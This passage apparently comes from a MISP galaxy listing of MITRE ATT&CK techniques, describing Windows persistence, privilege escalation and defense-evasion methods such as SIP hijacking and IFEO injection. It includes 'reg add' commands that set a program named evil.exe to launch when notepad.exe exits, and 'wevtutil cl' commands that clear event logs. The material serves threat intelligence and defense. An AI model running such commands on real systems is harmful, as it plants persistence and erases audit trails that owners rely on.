Similar to [Code Signing](<https://attack.mitre.org/techniques/T1116>), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}` that point to the dynamic link library (DLL) providing a SIP's `CryptSIPDllGetSignedDataMsg` function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}` that point to the DLL providing a SIP's `CryptSIPDllVerifyIndirectData` function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned `CryptSIPDllGetSignedDataMsg` function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the `DLL` and `Function` Registry values in `HKLM\SOFTWARE[\WOW6432Node]Microsoft\Cryptography\Providers\Trust\FinalPolicy \{trust provider GUID}` that point to the DLL providing a trust provider's `FinalPolicy` function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's `CryptSIPDllVerifyIndirectData` function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

## Windows Management Instrumentation Event Subscription - T1546.003

Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user logging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)

Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)

WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"*

# Executable Installer File Permissions Weakness - T1574.005

Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer. These processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Another variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the `%TEMP%` directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1574/001>).

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](<https://attack.mitre.org/techniques/T1548/002>). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: mozilla\_sec\_adv\_2012) (Citation: Executable Installers are Vulnerable) If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

## Path Interception by Unquoted Path - T1574.009

Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.

Service paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be

vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., `C:\unsafe path with space\program.exe` vs. `"C:\safe path with space\program.exe"`). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is `C:\program files\myapp.exe`, an adversary may create a program at `C:\program.exe` that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)

This technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.

## Image File Execution Options Injection - T1546.012

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., `C:\dbg\ntsd.exe -g notepad.exe`). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as `Debugger` values in the Registry under `HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable>` where `<executable>` is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit`. (Citation: Microsoft Silent Process Exit NOV 2017)

(Citation: Oddvar Moe IFEO APR 2018)

Similar to [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures "cmd.exe," or another program that provides backdoor access, as a "debugger" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1021/001>) will cause the "debugger" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)

Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.

Malware may also use IFEO to [Impair Defenses](<https://attack.mitre.org/techniques/T1562>) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

## Network Traffic Capture or Redirection - T1410

An adversary may capture network traffic to and from the device to obtain credentials or other sensitive data, or redirect network traffic to flow through an adversary-controlled gateway to do the same.

A malicious app could register itself as a VPN client on Android or iOS to gain access to network packets. However, on both platforms, the user must grant consent to the app to act as a VPN client, and on iOS the app requires a special entitlement that must be granted by Apple.

Alternatively, if a malicious app is able to escalate operating system privileges, it may be able to use those privileges to gain access to network traffic.

An adversary could redirect network traffic to an adversary-controlled gateway by establishing a VPN connection or by manipulating the device's proxy settings. For example, Skycure (Citation: Skycure-Profiles) describes the ability to redirect network traffic by installing a malicious iOS Configuration Profile.

If applications encrypt their network traffic, sensitive data may not be accessible to an adversary, depending on the point of capture.

## Data from Cloud Storage Object - T1530

Adversaries may access data objects from improperly secured cloud storage.

Many cloud service providers offer solutions for online data storage such as Amazon S3, Azure Storage, and Google Cloud Storage. These solutions differ from other storage solutions (such as SQL or Elasticsearch) in that there is no overarching application. Data from these solutions can be retrieved directly using the cloud provider's APIs. Solution providers typically offer security guides to help end users configure systems.(Citation: Amazon S3 Security, 2019)(Citation: Microsoft Azure Storage Security, 2019)(Citation: Google Cloud Storage Best Practices, 2019)

Misconfiguration by end users is a common problem. There have been numerous incidents where cloud storage has been improperly secured (typically by unintentionally allowing public access by unauthenticated users or overly-broad access by all users), allowing open access to credit cards, personally identifiable information, medical records, and other sensitive information.(Citation: Trend Micro S3 Exposed PII, 2017)(Citation: Wired Magecart S3 Buckets, 2019)(Citation: HIPAA Journal S3 Breach, 2017) Adversaries may also obtain leaked credentials in source repositories, logs, or other means as a way to gain access to cloud storage objects that have access permission controls.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Cloud Storage Object - T1530"*

## Boot or Logon Initialization Scripts - T1037

Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence. Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely.

Adversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.

An adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.

The tag is: *misp-galaxy:mitre-attack-pattern="Boot or Logon Initialization Scripts - T1037"*

## Download New Code at Runtime - T1407

An app could download and execute dynamic code (not included in the original application

package) after installation to evade static analysis techniques (and potentially dynamic analysis techniques) used for application vetting or application store review.(Citation: Poepflau-ExecuteThis)

On Android, dynamic code could include native code, Dalvik code, or JavaScript code that uses the Android WebView's JavascriptInterface capability.(Citation: Bromium-AndroidRCE)

On iOS, techniques also exist for executing dynamic code downloaded after application installation.(Citation: FireEye-JSPatch)(Citation: Wang)

## Windows Management Instrumentation Event Subscription - T1084

Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)

## Image File Execution Options Injection - T1183

Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application's IFEO will be prepended to the application's name, effectively launching the new process under the debugger (e.g., "C:\dbg\ntsd.exe -g notepad.exe"). (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as `Debugger` values in the Registry under `HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable>` where `<executable>` is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)

IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit`. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)

An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFE0 APR 2018)

- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1`
- `reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"`

Similar to [Process Injection](<https://attack.mitre.org/techniques/T1055>), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFE0 mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFE0 for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)

# SIP and Trust Provider Hijacking - T1198

In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)

Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)

Similar to [Code Signing](<https://attack.mitre.org/techniques/T1116>), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)

- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg{SIP_GUID}` that point to the dynamic link library (DLL) providing a SIP's `CryptSIPDllGetSignedDataMsg` function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
- Modifying the `Dll` and `FuncName` Registry values in `HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData{SIP_GUID}` that point to the DLL providing a SIP's `CryptSIPDllVerifyIndirectData` function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned `CryptSIPDllGetSignedDataMsg` function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
- Modifying the `DLL` and `Function` Registry values in `HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy`

`{trust provider GUID}` that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).

- **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](<https://attack.mitre.org/techniques/T1038>).

Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)

## File and Directory Permissions Modification - T1222

Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.(Citation: Hybrid Analysis Icacls1 June 2018)(Citation: Hybrid Analysis Icacls2 May 2018) File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).

Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory's existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](<https://attack.mitre.org/techniques/T1546/008>), [Boot or Logon Initialization Scripts](<https://attack.mitre.org/techniques/T1037>), [.bash\_profile and .bashrc](<https://attack.mitre.org/techniques/T1546/004>), or tainting/hijacking other instrumental binary/configuration files via [Hijack Execution Flow](<https://attack.mitre.org/techniques/T1574>).

## SSL certificate acquisition for domain - T1337

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](<http://attack.mitre.org/matrices/enterprise/pre/>) matrix for its replacement. The prior content of this page has been preserved [here](<https://attack.mitre.org/versions/v7/techniques/T1337>).

Certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](<https://www.wellsfargo.com/about/corporate/wachovia>)). # Create or Modify System Process - T1543

Adversaries may create or modify system-level processes to repeatedly execute malicious payloads as part of persistence. When operating systems boot up, they can start processes that perform background system functions. On Windows and Linux, these system processes are referred to as services. (Citation: TechNet Services) On macOS, launchd processes known as [Launch Daemon](<https://attack.mitre.org/techniques/T1543/004>) and [Launch

Agent](<https://attack.mitre.org/techniques/T1543/001>) are run to finish system initialization and load user specific parameters.(Citation: AppleDocs Launch Agent Daemons)

Adversaries may install new services, daemons, or agents that can be configured to execute at startup or a repeatable interval in order to establish persistence. Similarly, adversaries may modify existing services, daemons, or agents to achieve the same effect.

Services, daemons, or agents may be created with administrator privileges but executed under root/SYSTEM privileges. Adversaries may leverage this functionality to create or modify system processes in order to escalate privileges. (Citation: OSX Malware Detection).

## Transfer Data to Cloud Account - T1537

Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)

## Boot or Logon Autostart Execution - T1547

Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account

logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.

Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.

## Install Insecure or Malicious Configuration - T1478

An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).

For example, an unwanted Certification Authority (CA) certificate could be placed in the device's trusted certificate store, increasing the device's susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device's network communication ([Eavesdrop on Insecure Network Communication](<https://attack.mitre.org/techniques/T1439>) and [Manipulate Device Communication](<https://attack.mitre.org/techniques/T1463>)).

On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device's network traffic through an adversary's system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).

## Steal or Forge Kerberos Tickets - T1558

Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](<https://attack.mitre.org/techniques/T1550/003>).

Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.

## LLMNR/NBT-NS Poisoning and Relay - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](<https://attack.mitre.org/techniques/T1040>) and crack the hashes offline through [Brute Force](<https://attack.mitre.org/techniques/T1110>) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](<https://attack.mitre.org/software/S0174>). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

## Clear Windows Event Logs - T1070.001

Adversaries may clear Windows Event Logs to hide the activity of an intrusion. Windows Event Logs are a record of a computer's alerts and notifications. There are three system-defined sources of events: System, Application, and Security, with five event types: Error, Warning, Information, Success Audit, and Failure Audit.

The event logs can be cleared with the following utility commands:

- `<code>wevtutil cl system</code>`
- `<code>wevtutil cl application</code>`
- `<code>wevtutil cl security</code>`

These logs may also be cleared through other mechanisms, such as the event viewer GUI or [PowerShell](<https://attack.mitre.org/techniques/T1059/001>).

## Distributed Component Object Model - T1021.003

Adversaries may use [Valid Accounts](<https://attack.mitre.org/techniques/T1078>) to interact with remote machines by taking advantage of Distributed Component Object Model (DCOM). The adversary may then perform actions as the logged-on user.

The Windows Component Object Model (COM) is a component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE). Distributed COM (DCOM) is transparent middleware that extends the functionality of COM beyond a local computer using remote procedure call (RPC) technology.(Citation: Fireeye Hunting COM June 2019)(Citation: Microsoft COM)

Permissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry.(Citation: Microsoft Process Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.(Citation: Microsoft

COM ACL)

Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods.(Citation: Enigma MMC20 COM Jan 2017)(Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents(Citation: Enigma Excel DCOM Sept 2017) and may also invoke Dynamic Data Exchange (DDE) execution directly through a COM created instance of a Microsoft Office application(Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.

The tag is: *misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"*

## Network Device Configuration Dump - T1602.002

Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.

Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files. (Citation: US-CERT TA18-106A Network Infrastructure Devices 2018) (Citation: Cisco Blog Legacy Device Attacks) These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.

## Indicator Removal from Tools - T1027.005

Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems.

A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"*

Table 3040. Table References

Links

## Exchange Email Delegate Permissions - T1098.002

Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The `Add-MailboxPermission` [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: CrowdStrike Hiding in Plain Sight 2018)

This may be used in persistent threat incidents as well as BEC (Business Email Compromise) incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](<https://attack.mitre.org/techniques/T1534>)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

## Extra Window Memory Injection - T1055.011

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as `WriteProcessMemory` and `CreateRemoteThread`.(Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process.

## Create Process with Token - T1134.002

Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with `DuplicateToken(Ex)` and use it with `CreateProcessWithTokenW` to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002"*

## Disable or Modify Tools - T1562.001

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"*

## Compromise Software Supply Chain - T1195.002

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the

update/distribution mechanism for that software, or replacing compiled releases with a modified version.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)

## Make and Impersonate Token - T1134.003

Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

The tag is: *misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003"*

## Compromise Hardware Supply Chain - T1195.003

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.

## Change Default File Association - T1546.001

